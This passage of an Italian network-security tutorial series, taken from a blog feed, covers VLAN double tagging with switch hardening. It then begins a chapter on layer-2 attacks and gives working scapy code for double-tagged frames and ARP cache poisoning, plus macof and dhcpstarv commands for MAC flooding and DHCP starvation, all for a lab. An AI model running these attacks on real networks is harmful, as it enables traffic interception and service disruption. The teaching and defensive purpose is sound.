&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;scapy.all&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Ether&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dot1Q&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ICMP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sendp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# doppio tag: outer VLAN 1 (nativa), inner VLAN 20 (bersaglio)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;frame&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Ether&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dot1Q&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;vlan&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dot1Q&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;vlan&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;10.0.20.10&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ICMP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;sendp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;frame&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;iface&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;eth1&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;la-difesa-hardening-dello-switch&#34;&gt;La difesa: hardening dello switch
&lt;/h2&gt;&lt;p&gt;Quattro regole chiudono entrambi gli attacchi. Le prime due riguardano il double tagging, le
ultime due lo switch spoofing.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! 1. spegni esplicitamente DTP su tutte le porte di accesso
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport mode access
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport nonegotiate
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! 2. la VLAN nativa del trunk deve essere una VLAN &amp;#34;morta&amp;#34;, non usata da nessun host
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport trunk native vlan 999
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! 3. consenti sul trunk solo le VLAN che servono davvero
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport trunk allowed vlan 10,20,30
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! 4. metti in shutdown le porte inutilizzate e assegnale a una VLAN inesistente
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Le due righe evidenziate sono le decisive:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;switchport nonegotiate&lt;/code&gt; spegne DTP: la porta non negozia più nulla, lo switch spoofing fallisce.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;switchport trunk native vlan 999&lt;/code&gt; sposta la VLAN nativa su una VLAN che non contiene host.
Il double tagging ha bisogno che l&amp;rsquo;attaccante sia &lt;strong&gt;sulla&lt;/strong&gt; VLAN nativa: se la nativa è una VLAN
morta, nessun attaccante ci si trova, e l&amp;rsquo;attacco non parte.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La regola generale: &lt;strong&gt;la VLAN nativa non deve mai coincidere con una VLAN di dati&lt;/strong&gt;, e DTP va
sempre spento a mano.&lt;/p&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;Con Open vSwitch, configurate &lt;code&gt;p-attacker&lt;/code&gt; come access VLAN 1 e &lt;code&gt;p-victim&lt;/code&gt; come trunk con VLAN 20.&lt;/li&gt;
&lt;li&gt;Da &lt;code&gt;victim&lt;/code&gt;, catturate il traffico sulla VLAN 20 (&lt;code&gt;tcpdump -i eth1.20&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Da &lt;code&gt;attacker&lt;/code&gt;, inviate il frame a doppio tag con lo script scapy.&lt;/li&gt;
&lt;li&gt;Verificate che l&amp;rsquo;ICMP arrivi sulla VLAN 20, pur partendo dalla VLAN 1.&lt;/li&gt;
&lt;li&gt;Cambiate la VLAN nativa del trunk (&lt;code&gt;ovs-vsctl set port p-victim ... tag&lt;/code&gt;) e ripetete.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; perché il double tagging è monodirezionale?&lt;/summary&gt;
&lt;p&gt;Il trucco funziona solo all&#39;andata, perché sfrutta il fatto che il &lt;em&gt;primo&lt;/em&gt; switch rimuove
il tag della VLAN nativa. La vittima, rispondendo, invia un frame normale a singolo tag nella VLAN
20: quando arriva allo switch non c&#39;è nessun tag nativo da togliere che la rimandi magicamente nella
VLAN 1 dell&#39;attaccante. Per questo il double tagging si usa per &lt;em&gt;iniettare&lt;/em&gt; (un DHCP rogue, un
pacchetto malevolo), non per instaurare una sessione bidirezionale.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;Il VLAN hopping non buca la cifratura né sfrutta un difetto del protocollo: sfrutta due default.
DTP che negozia da solo e la VLAN nativa condivisa con gli host. Spegnere DTP e isolare la VLAN
nativa sono due righe di configurazione che molti dimenticano.&lt;/p&gt;
&lt;p&gt;Finora abbiamo lavorato sotto il livello 3. Dal prossimo capitolo saliamo: un firewall stateful
che decide quale traffico IP può attraversare i confini di fiducia disegnati nel threat model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prossimo nella serie:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/stateful-firewalls-nftables/&#34; &gt;04 · Firewall stateful con nftables&lt;/a&gt; ·
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;Torna alla roadmap&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Attacchi a livello 2: ARP spoofing, MAC flooding e DHCP starvation</title>
        <link>https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/</link>
        <pubDate>Tue, 04 Aug 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/cover.png" alt="Featured image of post Attacchi a livello 2: ARP spoofing, MAC flooding e DHCP starvation" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;Nel &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/threat-modeling-networks/&#34; &gt;capitolo precedente&lt;/a&gt; la minaccia con rischio
più alto dopo la rete ospiti era la T2: un dispositivo già dentro la LAN che si mette in mezzo al
traffico. Qui la rendiamo concreta.&lt;/p&gt;
&lt;p&gt;Lo strato 2 è quello che quasi nessuno guarda. Un firewall perimetrale non vede cosa succede
&lt;em&gt;dentro&lt;/em&gt; la LAN, e i protocolli di livello 2 — ARP, DHCP — sono nati negli anni &amp;lsquo;80 senza nessuna
autenticazione. Chi riesce a collegarsi a una porta dello switch può, con pochi pacchetti,
diventare l&amp;rsquo;uomo nel mezzo tra due macchine che si credono sole.&lt;/p&gt;
&lt;p&gt;Tutti gli esempi girano nel lab containerlab descritto nella
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;roadmap&lt;/a&gt;: tre nodi (&lt;code&gt;attacker&lt;/code&gt;, &lt;code&gt;victim&lt;/code&gt;,
&lt;code&gt;gateway&lt;/code&gt;) attaccati a uno switch Open vSwitch. Non provate nulla di questo su una rete che non è
vostra.&lt;/p&gt;
&lt;h2 id=&#34;arp-spoofing-avvelenare-la-cache&#34;&gt;ARP spoofing: avvelenare la cache
&lt;/h2&gt;&lt;h3 id=&#34;come-funziona&#34;&gt;Come funziona
&lt;/h3&gt;&lt;p&gt;Quando &lt;code&gt;victim&lt;/code&gt; (10.0.0.10) vuole parlare con &lt;code&gt;gateway&lt;/code&gt; (10.0.0.1), non conosce il suo indirizzo
MAC. Manda in broadcast una richiesta ARP: &amp;ldquo;chi ha 10.0.0.1?&amp;rdquo;. Il gateway risponde con il suo MAC,
e la vittima lo mette in cache. Il problema: ARP accetta anche risposte che nessuno ha chiesto, e
non verifica chi le manda.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;attaccante sfrutta proprio questo. Invia alla vittima una risposta ARP falsa — &amp;ldquo;10.0.0.1 sono
io&amp;rdquo; — e al gateway un&amp;rsquo;altra — &amp;ldquo;10.0.0.10 sono io&amp;rdquo;. Da quel momento tutto il traffico tra i due
passa dall&amp;rsquo;attaccante.&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
  sequenceDiagram
    participant V as victim 10.0.0.10
    participant A as attacker 10.0.0.66
    participant G as gateway 10.0.0.1
    Note over A: invia ARP reply falsi, ripetuti
    A-&amp;gt;&amp;gt;V: 10.0.0.1 is-at MAC_attacker
    A-&amp;gt;&amp;gt;G: 10.0.0.10 is-at MAC_attacker
    V-&amp;gt;&amp;gt;A: traffico per il gateway (crede sia G)
    A-&amp;gt;&amp;gt;G: lo inoltra (resta in mezzo)
    G-&amp;gt;&amp;gt;A: risposte per la vittima
    A-&amp;gt;&amp;gt;V: le inoltra
    Note over A: legge e può modificare tutto
&lt;/pre&gt;

&lt;h3 id=&#34;lattacco&#34;&gt;L&amp;rsquo;attacco
&lt;/h3&gt;&lt;p&gt;Con scapy bastano poche righe. Lo script manda una coppia di reply falsi ogni due secondi, perché
le cache ARP scadono e vanno &amp;ldquo;rinfrescate&amp;rdquo;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;scapy.all&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;victim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;gateway&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;10.0.0.10&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;10.0.0.1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;poison&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# op=2 è una ARP reply; psrc è l&amp;#39;IP che fingiamo di essere&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ARP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;op&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;victim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;psrc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;gateway&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;verbose&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ARP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;op&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;gateway&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;psrc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;victim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;verbose&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;True&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;poison&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;__import__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Perché l&amp;rsquo;attaccante possa restare in mezzo e non interrompere la connessione, deve inoltrare i
pacchetti che riceve:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# sul nodo attacker: inoltra i pacchetti invece di scartarli&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sysctl -w net.ipv4.ip_forward&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Da &lt;code&gt;victim&lt;/code&gt;, prima e dopo l&amp;rsquo;attacco, la cache ARP mostra il cambio:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;victim:~$ ip neigh show 10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;10.0.0.1 dev eth1 lladdr 00:aa:...:gw REACHABLE      &lt;span class=&#34;c1&#34;&gt;# prima: MAC del gateway&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;10.0.0.1 dev eth1 lladdr 00:bb:...:att REACHABLE     &lt;span class=&#34;c1&#34;&gt;# dopo: MAC dell&amp;#39;attaccante&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;mac-flooding-trasformare-lo-switch-in-un-hub&#34;&gt;MAC flooding: trasformare lo switch in un hub
&lt;/h2&gt;&lt;p&gt;Uno switch impara quale MAC sta dietro quale porta e salva la coppia nella &lt;strong&gt;CAM table&lt;/strong&gt;. Quando
la tabella è piena, molti switch entrano in &lt;em&gt;fail-open&lt;/em&gt;: inoltrano i frame sconosciuti a &lt;strong&gt;tutte&lt;/strong&gt;
le porte, come un vecchio hub. L&amp;rsquo;attaccante può allora sniffare traffico che non gli è destinato.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# macof (dal pacchetto dsniff) riempie la CAM table con MAC casuali&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;macof -i eth1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Nota sul lab: il vero fail-open della CAM table è un comportamento degli switch hardware. Né i
bridge Linux né Open vSwitch lo riproducono fedelmente (gestiscono l&amp;rsquo;esaurimento in altro modo).
Per vederlo sul serio serve uno switch Cisco in GNS3 — lo usiamo nel capitolo 03 per DTP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;dhcp-starvation-e-rogue-dhcp&#34;&gt;DHCP starvation e rogue DHCP
&lt;/h2&gt;&lt;p&gt;L&amp;rsquo;attacco ha due tempi. Prima &lt;strong&gt;starvation&lt;/strong&gt;: l&amp;rsquo;attaccante chiede al server DHCP legittimo tutti
gli indirizzi disponibili, con tanti MAC diversi, finché il pool è esaurito. Poi &lt;strong&gt;rogue DHCP&lt;/strong&gt;:
accende un proprio server DHCP, che ora è l&amp;rsquo;unico a rispondere. Assegna alle vittime un gateway e
un DNS che controlla lui.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# fase 1: esaurisce il pool del server legittimo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dhcpstarv -i eth1          &lt;span class=&#34;c1&#34;&gt;# oppure: yersinia dhcp -attack 1&lt;/span&gt;
